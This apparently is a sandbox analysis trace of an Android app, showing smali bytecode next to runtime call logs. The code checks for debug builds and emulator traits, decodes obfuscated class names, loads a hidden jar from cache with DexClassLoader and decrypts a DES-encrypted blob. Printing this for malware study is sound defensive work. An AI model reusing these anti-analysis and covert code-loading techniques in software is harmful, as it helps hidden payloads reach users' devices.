                              • Reflective invoke: android.os.Build.getString
                                • This:
                                  • android.os.Build@26af99b7
                                • p0: ro.build.type
                                • Return:
                                  • user
                              • Time: 11382136055
                                • This:
                                  • private static java.lang.String android.os.Build.getString(java.lang.String)
                                  • getName:getString
                                • p0: android.os.Build@26af99b7
                                • p1: [Ljava.lang.Object;@14246524
                                • p1.Arrays.toString: [ro.build.type]
                                • Return:
                                  • user
                              30move-result-object v0
                              31check-cast v0, Ljava/lang/String;
                              32try_start_2e:
                              33invoke-virtual {v0}, Ljava/lang/String;->toLowerCase()Ljava/lang/String;
                              34goto_31:
                              35const-string/jumbo v3, "userdebug"
                              37invoke-virtual {v0, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              38move-result v3
                              39if-nez v3, :cond_43
                              41const-string/jumbo v3, "debug"
                              43invoke-virtual {v0, v3}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                              44move-result v0
                              45if-eqz v0, :cond_66
                              46cond_43: move v0, v2
                              47goto_44: return v0
                              48catch_45: move-exception v0
                              49move-object v8, v0
                              50move-object v0, v3
                              51move-object v3, v8
                              52goto_49:
                              53const-string/jumbo v4, "isDebugSystem "
                              55invoke-static {v4, v3}, Lcom/omg/tool/log/Logger;->E(Ljava/lang/String;Ljava/lang/Throwable;)V
                              56goto/16 :goto_31
                              57catch_50: move-exception v0
                              58move-object v8, v0
                              59move-object v0, v3
                              60move-object v3, v8
                              61goto_54:
                              62const-string/jumbo v4, "isDebugSystem "
                              64invoke-static {v4, v3}, Lcom/omg/tool/log/Logger;->E(Ljava/lang/String;Ljava/lang/Throwable;)V
                              65goto/16 :goto_31
                              66catch_5b: move-exception v0
                              67move-object v8, v0
                              68move-object v0, v3
                              69move-object v3, v8
                              70goto_5f:
                              71const-string/jumbo v4, "isDebugSystem "
                              73invoke-static {v4, v3}, Lcom/omg/tool/log/Logger;->E(Ljava/lang/String;Ljava/lang/Throwable;)V
                              74goto/16 :goto_31
                              75cond_66: move v0, v1
                              76goto/16 :goto_44
                              77catch_68: move-exception v3
                              78goto/16 :goto_5f
                              79catch_6a: move-exception v3
                              80goto/16 :goto_54
                              81catch_6c: move-exception v3
                              82goto/16 :goto_49
                              Cross References
                              APIs
                              • java.lang.Class.getDeclaredMethod
                              • java.lang.reflect.Method.setAccessible
                              • java.lang.reflect.Method.invoke
                              • java.lang.NoSuchMethodException.printStackTrace
                              • java.lang.IllegalAccessException.printStackTrace
                              • java.lang.reflect.InvocationTargetException.printStackTrace
                              Strings
                              • currentProcessName
                              • getDefaultAdapter
                              • getDefaultSensor
                              • getName
                              • getSystemService
                              • startLoad
                              • MotoG3
                              Position Instruction Meta Information
                              0.annotation system Ldalvik/annotation/Signature;
                              1value = {
                              2"(",
                              3"Ljava/lang/Class",
                              4"<*>;",
                              5"Ljava/lang/Object;",
                              6"Ljava/lang/String;",
                              7"[",
                              8"Ljava/lang/Class",
                              9"<*>;[",
                              10"Ljava/lang/Object;",
                              11")",
                              12"Ljava/lang/Object;"
                              13}
                              14.end annotation
                              15.prologue
                              16try_start_0:
                              17invoke-virtual {p1, p3, p4}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                              • Time: 11381983823
                                • This:
                                  • class android.bluetooth.BluetoothAdapter
                                  • getName:android.bluetooth.BluetoothAdapter
                                • p0: getDefaultAdapter
                                • p1: null
                                • Return:
                                  • public static synchronized android.bluetooth.BluetoothAdapter android.bluetooth.BluetoothAdapter.getDefaultAdapter()
                                  • getName: getDefaultAdapter
                              • Time: 11381983853
                                • This:
                                  • class android.bluetooth.BluetoothAdapter
                                  • getName:android.bluetooth.BluetoothAdapter
                                • p0: getName
                                • p1: null
                                • Return:
                                  • public java.lang.String android.bluetooth.BluetoothAdapter.getName()
                                  • getName: getName
                              • Time: 11381983884
                                • This:
                                  • class android.content.Context
                                  • getName:android.content.Context
                                • p0: getSystemService
                                • p1: [Ljava.lang.Class;@314c42fd
                                • p1.Arrays.toString: [class java.lang.String]
                                • Return:
                                  • public abstract java.lang.Object android.content.Context.getSystemService(java.lang.String)
                                  • getName: getSystemService
                              • Time: 11381983916
                                • This:
                                  • class android.hardware.SensorManager
                                  • getName:android.hardware.SensorManager
                                • p0: getDefaultSensor
                                • p1: [Ljava.lang.Class;@12a62e16
                                • p1.Arrays.toString: [int]
                                • Return:
                                  • public android.hardware.Sensor android.hardware.SensorManager.getDefaultSensor(int)
                                  • getName: getDefaultSensor
                              • Time: 11381984256
                                • This:
                                  • class android.app.ActivityThread
                                  • getName:android.app.ActivityThread
                                • p0: currentProcessName
                                • p1: null
                                • Return:
                                  • public static java.lang.String android.app.ActivityThread.currentProcessName()
                                  • getName: currentProcessName
                              • Time: 11382129732
                                • This:
                                  • class com.sdk.entry.SdkEntry
                                  • getName:com.sdk.entry.SdkEntry
                                • p0: startLoad
                                • p1: [Ljava.lang.Class;@24305396
                                • p1.Arrays.toString: [class android.content.Context, class java.lang.String, class java.lang.String]
                                • Return:
                                  • public static void com.sdk.entry.SdkEntry.startLoad(android.content.Context,java.lang.String,java.lang.String)
                                  • getName: startLoad
                              18move-result-object v0
                              19const/4 v1, 0x1
                              21invoke-virtual {v0, v1}, Ljava/lang/reflect/Method;->setAccessible(Z)V
                              23invoke-virtual {v0, p2, p5}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              • Reflective invoke: android.bluetooth.BluetoothAdapter.getDefaultAdapter
                                • Return:
                                  • android.bluetooth.BluetoothAdapter@3f034e42
                              • Time: 11381983839
                                • This:
                                  • public static synchronized android.bluetooth.BluetoothAdapter android.bluetooth.BluetoothAdapter.getDefaultAdapter()
                                  • getName:getDefaultAdapter
                                • p0: null
                                • p1: [Ljava.lang.Object;@b4e1c8d
                                • Return:
                                  • android.bluetooth.BluetoothAdapter@3f034e42
                              • Reflective invoke: android.bluetooth.BluetoothAdapter.getName
                                • This:
                                  • android.bluetooth.BluetoothAdapter@3f034e42
                                • Return:
                                  • MotoG3
                              • Time: 11381983859
                                • This:
                                  • public java.lang.String android.bluetooth.BluetoothAdapter.getName()
                                  • getName:getName
                                • p0: android.bluetooth.BluetoothAdapter@3f034e42
                                • p1: [Ljava.lang.Object;@cf8ccaf
                                • Return:
                                  • MotoG3
                              • Reflective invoke: android.content.Context.getSystemService
                                • This:
                                  • com.wag.CongratulationLC@a89c243
                                • name: sensor
                                • Return:
                                  • android.hardware.SystemSensorManager@399f11f9
                              • Time: 11381983893
                                • This:
                                  • public abstract java.lang.Object android.content.Context.getSystemService(java.lang.String)
                                  • getName:getSystemService
                                • p0: com.wag.CongratulationLC@a89c243
                                • p1: [Ljava.lang.Object;@38aa50c0
                                • p1.Arrays.toString: [sensor]
                                • Return:
                                  • android.hardware.SystemSensorManager@399f11f9
                              • Reflective invoke: android.hardware.SensorManager.getDefaultSensor
                                • This:
                                  • android.hardware.SystemSensorManager@399f11f9
                                • type: 5
                                • Return:
                                  • {Sensor name="Ambient Light sensor", vendor="TAOS", version=1, type=5, maxRange=27000.0, resolution=1.0, power=0.175, minDelay=0}
                              • Time: 11381983924
                                • This:
                                  • public android.hardware.Sensor android.hardware.SensorManager.getDefaultSensor(int)
                                  • getName:getDefaultSensor
                                • p0: android.hardware.SystemSensorManager@399f11f9
                                • p1: [Ljava.lang.Object;@7aa3984
                                • p1.Arrays.toString: [5]
                                • Return:
                                  • {Sensor name="Ambient Light sensor", vendor="TAOS", version=1, type=5, maxRange=27000.0, resolution=1.0, power=0.175, minDelay=0}
                              24try_end_b: move-result-object v0
                              25goto_c: return-object v0
                              26catch_d: move-exception v0
                              28invoke-virtual {v0}, Ljava/lang/NoSuchMethodException;->printStackTrace()V
                              29goto_11: const/4 v0, 0x0
                              30goto/16 :goto_c
                              31catch_13: move-exception v0
                              33invoke-virtual {v0}, Ljava/lang/IllegalAccessException;->printStackTrace()V
                              34goto/16 :goto_11
                              35catch_18: move-exception v0
                              37invoke-virtual {v0}, Ljava/lang/reflect/InvocationTargetException;->printStackTrace()V
                              38goto/16 :goto_11
                              Cross References
                              APIs
                              • java.security.MessageDigest.getInstance
                              • java.lang.String.getBytes
                              • java.security.MessageDigest.update
                              • java.lang.StringBuilder.<init>
                              • java.security.MessageDigest.digest
                              • java.lang.Integer.toString
                              • java.lang.String.substring
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.security.NoSuchAlgorithmException.printStackTrace
                              Strings
                              • MD5
                              Position Instruction Meta Information
                              0.prologue
                              2invoke-direct {p0}, Lcom/sdk/entry/LoadVSdk;->getCurrentProcessName()Ljava/lang/String;
                              3move-result-object v0
                              4try_start_4:
                              5const-string/jumbo v1, "MD5"
                              7invoke-static {v1}, Ljava/security/MessageDigest;->getInstance(Ljava/lang/String;)Ljava/security/MessageDigest;
                              • Time: 11382136324
                                • p0: MD5
                                • Return:
                                  • MESSAGE DIGEST MD5
                              8move-result-object v1
                              10invoke-virtual {v0}, Ljava/lang/String;->getBytes()[B
                              11move-result-object v2
                              13invoke-virtual {v1, v2}, Ljava/security/MessageDigest;->update([B)V
                              • Time: 11382136329
                                • This:
                                  • MESSAGE DIGEST MD5
                                • p0: [B@3f4b95ee
                                • p0: air.nu.strafwerk.takecontrol
                                • p0: 6169722E6E752E73747261667765726B2E74616B65636F6E74726F6C
                              14new-instance v2, Ljava/lang/StringBuilder;
                              16invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                              18invoke-virtual {v1}, Ljava/security/MessageDigest;->digest()[B
                              • Time: 11382136334
                                • This:
                                  • MESSAGE DIGEST MD5
                                • Return:
                                  • [B@1ef18a8f
                                  • Ws{ |sp
                                  • 07F457CD737B20BB7C8673CA1C8F0470
                              19move-result-object v3
                              20const/4 v1, 0x0
                              21goto_1c: array-length v4, v3
                              22if-ge v1, v4, :cond_36
                              23aget-byte v4, v3, v1
                              24and-int/lit16 v4, v4, 0xff
                              25add-int/lit16 v4, v4, 0x100
                              26const/16 v5, 0x10
                              28invoke-static {v4, v5}, Ljava/lang/Integer;->toString(II)Ljava/lang/String;
                              29move-result-object v4
                              30const/4 v5, 0x1
                              32invoke-virtual {v4, v5}, Ljava/lang/String;->substring(I)Ljava/lang/String;
                              33move-result-object v4
                              35invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              36add-int/lit8 v1, v1, 0x1
                              37goto/16 :goto_1c
                              38cond_36:
                              39invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              40try_end_39: move-result-object v0
                              41goto_3a: return-object v0
                              42catch_3b: move-exception v1
                              44invoke-virtual {v1}, Ljava/security/NoSuchAlgorithmException;->printStackTrace()V
                              45goto/16 :goto_3a
                              Cross References
                              APIs
                              • java.io.File.getPath
                              • java.io.File.getParent
                              • android.content.Context.getClassLoader
                              • java.lang.ClassLoader.getParent
                              • dalvik.system.DexClassLoader.<init>
                              • dalvik.system.DexClassLoader.loadClass
                              Strings
                              • /data/data/air.nu.strafwerk.takecontrol/cache/1178572636/9377583.jar
                              • /data/data/air.nu.strafwerk.takecontrol/cache/1178572636
                              • PDAycSw7NHE6MSstJnEMOzQaMSstJg==
                              • com.sdk.entry.SdkEntry
                              Position Instruction Meta Information
                              0.annotation system Ldalvik/annotation/Signature;
                              1value = {
                              2"(",
                              3"Landroid/content/Context;",
                              4"Ljava/io/File;",
                              5")",
                              6"Ljava/lang/Class",
                              7"<*>;"
                              8}
                              9.end annotation
                              10.prologue
                              11new-instance v0, Ldalvik/system/DexClassLoader;
                              13invoke-virtual {p1}, Ljava/io/File;->getPath()Ljava/lang/String;
                              14move-result-object v1
                              16invoke-virtual {p1}, Ljava/io/File;->getParent()Ljava/lang/String;
                              17move-result-object v2
                              18const/4 v3, 0x0
                              20invoke-virtual {p0}, Landroid/content/Context;->getClassLoader()Ljava/lang/ClassLoader;
                              21move-result-object v4
                              23invoke-virtual {v4}, Ljava/lang/ClassLoader;->getParent()Ljava/lang/ClassLoader;
                              24move-result-object v4
                              26invoke-direct {v0, v1, v2, v3, v4}, Ldalvik/system/DexClassLoader;-><init>(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/ClassLoader;)V
                              • Time: 11382129675
                                • This:
                                  • dalvik.system.DexClassLoader[DexPathList[[zip file "/data/data/air.nu.strafwerk.takecontrol/cache/1178572636/9377583.jar"],nativeLibraryDirectories=[/vendor/lib, /system/lib]]]
                                • p0: /data/data/air.nu.strafwerk.takecontrol/cache/1178572636/9377583.jar
                                • p1: /data/data/air.nu.strafwerk.takecontrol/cache/1178572636
                                • p2: null
                                • p3: java.lang.BootClassLoader@311654d4
                                • Return:
                                  • dalvik.system.DexClassLoader[DexPathList[[zip file "/data/data/air.nu.strafwerk.takecontrol/cache/1178572636/9377583.jar"],nativeLibraryDirectories=[/vendor/lib, /system/lib]]]
                              28const-string v1, "PDAycSw7NHE6MSstJnEMOzQaMSstJg=="
                              30invoke-static {v1}, Lcom/moor/fight/Perch;->confident(Ljava/lang/String;)Ljava/lang/String;
                              • Time: 11382129686
                                • This:
                                  • com.sdk.entry.SdkEntry
                                • p0: [C@3b346972
                                • p0: com.sdk.entry.SdkEntry
                                • Return:
                                  • com.sdk.entry.SdkEntry
                              • Time: 11382129690
                                • p0: PDAycSw7NHE6MSstJnEMOzQaMSstJg==
                                • Return:
                                  • com.sdk.entry.SdkEntry
                              31move-result-object v1
                              33invoke-virtual {v0, v1}, Ldalvik/system/DexClassLoader;->loadClass(Ljava/lang/String;)Ljava/lang/Class;
                              • Time: 11382129696
                                • This:
                                  • dalvik.system.DexClassLoader[DexPathList[[zip file "/data/data/air.nu.strafwerk.takecontrol/cache/1178572636/9377583.jar"],nativeLibraryDirectories=[/vendor/lib, /system/lib]]]
                                • p0: com.sdk.entry.SdkEntry
                                • Return:
                                  • class com.sdk.entry.SdkEntry
                                  • getName: com.sdk.entry.SdkEntry
                              34move-result-object v0
                              35return-object v0
                              Cross References
                              APIs
                              • java.lang.Class.forName
                              • java.lang.Object.toString
                              • java.lang.Exception.printStackTrace
                              Strings
                              • PjE7LTA2O3E+Ly9xHjwrNik2KyYLNy06Pjs=
                              • android.app.ActivityThread
                              • PCotLToxKw8tMDw6LCwRPjI6
                              • currentProcessName
                              • air.nu.strafwerk.takecontrol
                              Position Instruction Meta Information
                              0.prologue
                              1try_start_0:
                              2const-string v0, "PjE7LTA2O3E+Ly9xHjwrNik2KyYLNy06Pjs="
                              4invoke-static {v0}, Lcom/moor/fight/Perch;->confident(Ljava/lang/String;)Ljava/lang/String;
                              • Time: 11381984233
                                • This:
                                  • android.app.ActivityThread
                                • p0: [C@2d534ae
                                • p0: android.app.ActivityThread
                                • Return:
                                  • android.app.ActivityThread
                              • Time: 11381984239
                                • p0: PjE7LTA2O3E+Ly9xHjwrNik2KyYLNy06Pjs=
                                • Return:
                                  • android.app.ActivityThread
                              • Time: 11381984289
                                • This:
                                  • android.app.ActivityThread
                                • p0: [C@151b9b55
                                • p0: android.app.ActivityThread
                                • Return:
                                  • android.app.ActivityThread
                              5move-result-object v1
                              7const-string v0, "PCotLToxKw8tMDw6LCwRPjI6"
                              9invoke-static {v0}, Lcom/moor/fight/Perch;->confident(Ljava/lang/String;)Ljava/lang/String;
                              • Time: 11381984243
                                • This:
                                  • currentProcessName
                                • p0: [C@33682ee5
                                • p0: currentProcessName
                                • Return:
                                  • currentProcessName
                              • Time: 11381984247
                                • p0: PCotLToxKw8tMDw6LCwRPjI6
                                • Return:
                                  • currentProcessName
                              • Time: 11381984299
                                • This:
                                  • currentProcessName
                                • p0: [C@d69ee5b
                                • p0: currentProcessName
                                • Return:
                                  • currentProcessName
                              10move-result-object v3
                              11new-instance v0, Lcom/inasmuch/trample/Fly;
                              13invoke-direct {v0}, Lcom/inasmuch/trample/Fly;-><init>()V
                              15invoke-static {v1}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                              16move-result-object v1
                              17const/4 v2, 0x0
                              18const/4 v4, 0x0
                              19const/4 v5, 0x0
                              20new-array v5, v5, [Ljava/lang/Object;
                              22invoke-virtual/range {v0 .. v5}, Lcom/inasmuch/trample/Fly;->mountainous(Ljava/lang/Class;Ljava/lang/Object;Ljava/lang/String;[Ljava/lang/Class;[Ljava/lang/Object;)Ljava/lang/Object;
                              • Time: 11381984260
                                • This:
                                  • public static java.lang.String android.app.ActivityThread.currentProcessName()
                                  • getName:currentProcessName
                                • p0: null
                                • p1: [Ljava.lang.Object;@fb32b86
                                • Return:
                                  • air.nu.strafwerk.takecontrol
                              • Reflective invoke: android.app.ActivityThread.currentProcessName
                                • Return:
                                  • air.nu.strafwerk.takecontrol
                              23move-result-object v0
                              25invoke-virtual {v0}, Ljava/lang/Object;->toString()Ljava/lang/String;
                              26try_end_21: move-result-object v0
                              27goto_22: return-object v0
                              28catch_23: move-exception v0
                              30invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
                              32const-string v0, ""
                              33goto/16 :goto_22
                              Cross References
                              APIs
                              • java.security.MessageDigest.getInstance
                              • java.security.MessageDigest.digest
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.Integer.toHexString
                              • java.lang.StringBuilder.append
                              • java.lang.Exception.printStackTrace
                              • java.lang.StringBuilder.toString
                              Strings
                              • MD5
                              • 0
                              Position Instruction Meta Information
                              0.prologue
                              1try_start_0:
                              2const-string/jumbo v0, "MD5"
                              4invoke-static {v0}, Ljava/security/MessageDigest;->getInstance(Ljava/lang/String;)Ljava/security/MessageDigest;
                              • Time: 11382130274
                                • p0: MD5
                                • Return:
                                  • MESSAGE DIGEST MD5
                              5move-result-object v0
                              7invoke-virtual {v0, p0}, Ljava/security/MessageDigest;->digest([B)[B
                              • Time: 11382130281
                                • This:
                                  • MESSAGE DIGEST MD5
                                • p0: [B@19fbef5c
                                • p0: Galaxy Nexusair.nu.strafwerk.takecontrol
                                • p0: 47616C617879204E657875736169722E6E752E73747261667765726B2E74616B65636F6E74726F6C
                                • Return:
                                  • [B@105b2265
                                  • 6={gRjR
                                  • 363D7B6752916A9CF8C89A8B5284020D
                              8try_end_a: move-result-object v1
                              9new-instance v2, Ljava/lang/StringBuilder;
                              10array-length v0, v1
                              11mul-int/lit8 v0, v0, 0x2
                              13invoke-direct {v2, v0}, Ljava/lang/StringBuilder;-><init>(I)V
                              14array-length v3, v1
                              15const/4 v0, 0x0
                              16goto_15: if-ge v0, v3, :cond_37
                              17aget-byte v4, v1, v0
                              18and-int/lit16 v5, v4, 0xff
                              19const/16 v6, 0x10
                              20if-ge v5, v6, :cond_25
                              22const-string/jumbo v5, "0"
                              24invoke-virtual {v2, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              25cond_25: and-int/lit16 v4, v4, 0xff
                              27invoke-static {v4}, Ljava/lang/Integer;->toHexString(I)Ljava/lang/String;
                              28move-result-object v4
                              30invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              31add-int/lit8 v0, v0, 0x1
                              32goto/16 :goto_15
                              33catch_31: move-exception v0
                              35invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
                              36const/4 v0, 0x0
                              37goto_36: return-object v0
                              38cond_37:
                              39invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              40move-result-object v0
                              41goto/16 :goto_36
                              Cross References
                              APIs
                              • android.os.Environment.getExternalStorageDirectory
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.io.File.<init>
                              • java.io.File.exists
                              Strings
                              • .omgtest/
                              • .omgtest/Log
                              Position Instruction Meta Information
                              0.prologue
                              1const-class v1, Lsdk/nicro/lu/s;
                              2monitor-enter v1
                              3try_start_3: new-instance v0, Ljava/io/File;
                              5invoke-static {}, Landroid/os/Environment;->getExternalStorageDirectory()Ljava/io/File;
                              6move-result-object v2
                              7new-instance v3, Ljava/lang/StringBuilder;
                              9invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                              11const-string/jumbo v4, ".omgtest/"
                              13invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              14move-result-object v3
                              16invoke-virtual {v3, p0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              17move-result-object v3
                              19invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              20move-result-object v3
                              22invoke-direct {v0, v2, v3}, Ljava/io/File;-><init>(Ljava/io/File;Ljava/lang/String;)V
                              • Time: 11382130287
                                • This:
                                  • /storage/emulated/0/.omgtest/Log
                                • p0: /storage/emulated/0
                                • p1: .omgtest/Log
                                • Return:
                                  • /storage/emulated/0/.omgtest/Log
                              24invoke-virtual {v0}, Ljava/io/File;->exists()Z
                              • Time: 11382130294
                                • This:
                                  • /storage/emulated/0/.omgtest/Log
                                • Return:
                                  • false
                              25try_end_23: move-result v0
                              26monitor-exit v1
                              27return v0
                              28catchall_26: move-exception v0
                              29monitor-exit v1
                              30throw v0
                              Cross References
                              APIs
                              • android.content.Context.getSystemService
                              • android.net.ConnectivityManager.getActiveNetworkInfo
                              • android.net.NetworkInfo.getType
                              • android.content.Context.getSystemService
                              • android.telephony.TelephonyManager.getNetworkType
                              • android.net.NetworkInfo.getType
                              Strings
                              • connectivity
                              • phone
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v2, 0x1
                              2const/4 v1, 0x0
                              4const-string/jumbo v0, "connectivity"
                              6invoke-virtual {p1, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                              • Time: 11382130126
                                • This:
                                  • com.wag.CongratulationLC@a89c243
                                • p0: connectivity
                                • Return:
                                  • android.net.ConnectivityManager@2f57940b
                              7move-result-object v0
                              8check-cast v0, Landroid/net/ConnectivityManager;
                              9if-nez v0, :cond_f
                              10move v0, v1
                              11goto_e: return v0
                              12cond_f:
                              13invoke-virtual {v0}, Landroid/net/ConnectivityManager;->getActiveNetworkInfo()Landroid/net/NetworkInfo;
                              • Time: 11382130131
                                • This:
                                  • android.net.ConnectivityManager@2f57940b
                                • Return:
                                  • [type: WIFI[], state: CONNECTED/CONNECTED, reason: (unspecified), extra: "TP-ANDROID", roaming: false, failover: false, isAvailable: true, isConnectedToProvisioningNetwork: false]
                              14move-result-object v0
                              15if-nez v0, :cond_17
                              16move v0, v1
                              17goto/16 :goto_e
                              18cond_17:
                              19invoke-virtual {v0}, Landroid/net/NetworkInfo;->getType()I
                              20move-result v3
                              21if-nez v3, :cond_37
                              23const-string/jumbo v0, "phone"
                              25invoke-virtual {p1, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                              26move-result-object v0
                              27check-cast v0, Landroid/telephony/TelephonyManager;
                              29invoke-virtual {v0}, Landroid/telephony/TelephonyManager;->getNetworkType()I
                              30move-result v0
                              31packed-switch v0, :pswitch_data_40
                              32pswitch_2d: move v0, v1
                              33goto/16 :goto_e
                              34pswitch_2f: move v0, v2
                              35goto/16 :goto_e
                              36pswitch_31: const/4 v0, 0x2
                              37goto/16 :goto_e
                              38pswitch_33: const/4 v0, 0x5
                              39goto/16 :goto_e
                              40pswitch_35: const/4 v0, 0x4
                              41goto/16 :goto_e
                              42cond_37:
                              43invoke-virtual {v0}, Landroid/net/NetworkInfo;->getType()I
                              44move-result v0
                              45if-ne v0, v2, :cond_2d
                              46const/4 v0, 0x3
                              47goto/16 :goto_e
                              48nop
                              Cross References
                              APIs
                              • java.lang.Class.forName
                              • java.lang.Class.getDeclaredMethods
                              • java.lang.Class.getDeclaredMethod
                              • java.lang.reflect.Method.invoke
                              • java.lang.Object.toString
                              Strings
                              • android.app.ActivityThread
                              • currentProcessName
                              • air.nu.strafwerk.takecontrol
                              Position Instruction Meta Information
                              0.prologue
                              1try_start_0:
                              2const-string/jumbo v0, "android.app.ActivityThread"
                              4invoke-static {v0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                              • Time: 11382136263
                                • p0: android.app.ActivityThread
                                • Return:
                                  • class android.app.ActivityThread
                                  • getName: android.app.ActivityThread
                              5move-result-object v0
                              7invoke-virtual {v0}, Ljava/lang/Class;->getDeclaredMethods()[Ljava/lang/reflect/Method;
                              • Time: 11382136274
                                • This:
                                  • class android.app.ActivityThread
                                  • getName:android.app.ActivityThread
                                • Return:
                                  • [Ljava.lang.reflect.Method;@1ae14584
                                  • Arrays.toString: [public final android.content.IContentProvider android.app.ActivityThread.acquireExistingProvider(android.content.Context,java.lang.String,int,boolean), public final android.content.IContentProvider android.app.ActivityThread.acquireProvider(android.content.Context,java.lang.String,int,boolean), final void android.app.ActivityThread.appNotRespondingViaProvider(android.os.IBinder), final android.content.res.Configuration android.app.ActivityThread.applyCompatConfiguration(int), android.content.res.Configuration android.app.ActivityThread.applyConfigCompatMainThread(int,android.content.res.Configuration,android.content.res.CompatibilityInfo), public final void android.app.ActivityThread.applyConfigurationToResources(android.content.res.Configuration), java.util.ArrayList android.app.ActivityThread.collectComponentCallbacks(boolean,android.content.res.Configuration), final void android.app.ActivityThread.completeRemoveProvider(android.app.ActivityThread$ProviderRefCount), void android.app.ActivityThread.doGcIfNe
                              9const-string/jumbo v1, "currentProcessName"
                              10const/4 v2, 0x0
                              11new-array v2, v2, [Ljava/lang/Class;
                              13invoke-virtual {v0, v1, v2}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                              • Time: 11382136309
                                • This:
                                  • class android.app.ActivityThread
                                  • getName:android.app.ActivityThread
                                • p0: currentProcessName
                                • p1: [Ljava.lang.Class;@239b01a2
                                • Return:
                                  • public static java.lang.String android.app.ActivityThread.currentProcessName()
                                  • getName: currentProcessName
                              14move-result-object v0
                              15const/4 v1, 0x0
                              16const/4 v2, 0x0
                              17new-array v2, v2, [Ljava/lang/Object;
                              19invoke-virtual {v0, v1, v2}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              • Reflective invoke: android.app.ActivityThread.currentProcessName
                                • Return:
                                  • air.nu.strafwerk.takecontrol
                              • Time: 11382136318
                                • This:
                                  • public static java.lang.String android.app.ActivityThread.currentProcessName()
                                  • getName:currentProcessName
                                • p0: null
                                • p1: [Ljava.lang.Object;@39ef35f0
                                • Return:
                                  • air.nu.strafwerk.takecontrol
                              20move-result-object v0
                              22invoke-virtual {v0}, Ljava/lang/Object;->toString()Ljava/lang/String;
                              23try_end_1f: move-result-object v0
                              24goto_20: return-object v0
                              25catch_21: move-exception v0
                              27const-string/jumbo v0, ""
                              28goto/16 :goto_20
                              Cross References
                              APIs
                              • javax.crypto.spec.DESKeySpec.<init>
                              • javax.crypto.SecretKeyFactory.getInstance
                              • javax.crypto.SecretKeyFactory.generateSecret
                              • javax.crypto.Cipher.getInstance
                              • javax.crypto.Cipher.init
                              • javax.crypto.Cipher.doFinal
                              Strings
                              • Des
                              • Des/ECB/NoPadding
                              Position Instruction Meta Information
                              0.prologue
                              1new-instance v0, Ljavax/crypto/spec/DESKeySpec;
                              3invoke-direct {v0, p1}, Ljavax/crypto/spec/DESKeySpec;-><init>([B)V
                              5const-string/jumbo v1, "Des"
                              7invoke-static {v1}, Ljavax/crypto/SecretKeyFactory;->getInstance(Ljava/lang/String;)Ljavax/crypto/SecretKeyFactory;
                              8move-result-object v1
                              10invoke-virtual {v1, v0}, Ljavax/crypto/SecretKeyFactory;->generateSecret(Ljava/security/spec/KeySpec;)Ljavax/crypto/SecretKey;
                              11move-result-object v0
                              13const-string/jumbo v1, "Des/ECB/NoPadding"
                              15invoke-static {v1}, Ljavax/crypto/Cipher;->getInstance(Ljava/lang/String;)Ljavax/crypto/Cipher;
                              • Time: 11382130402
                                • p0: Des/ECB/NoPadding
                                • Return:
                                  • javax.crypto.Cipher@264cf563
                              16move-result-object v1
                              17const/4 v2, 0x2
                              19invoke-virtual {v1, v2, v0}, Ljavax/crypto/Cipher;->init(ILjava/security/Key;)V
                              21invoke-virtual {v1, p0}, Ljavax/crypto/Cipher;->doFinal([B)[B
                              • Time: 11382130412
                                • This:
                                  • javax.crypto.Cipher@264cf563
                                • p0: [B@313fe3c7
                                • p0: bc)G/vGOk+Q$t:}*U:KJG\<I&tYKr=;]v8e73<h02K.Q95psKR4FyGJup3O6i~|$>/Vg)pHd{u+YxZ6AoB:Lq&('4i{.p'f3Duzopv1>`kULL+h-u^5t2)}Z>xf9_7L?9},DT:!\Lfgl_O&2)WZ~M5EB}'r#\.2]]-z^9{ v'-U='dpB!/Rt\m}]/2Q_my|vG
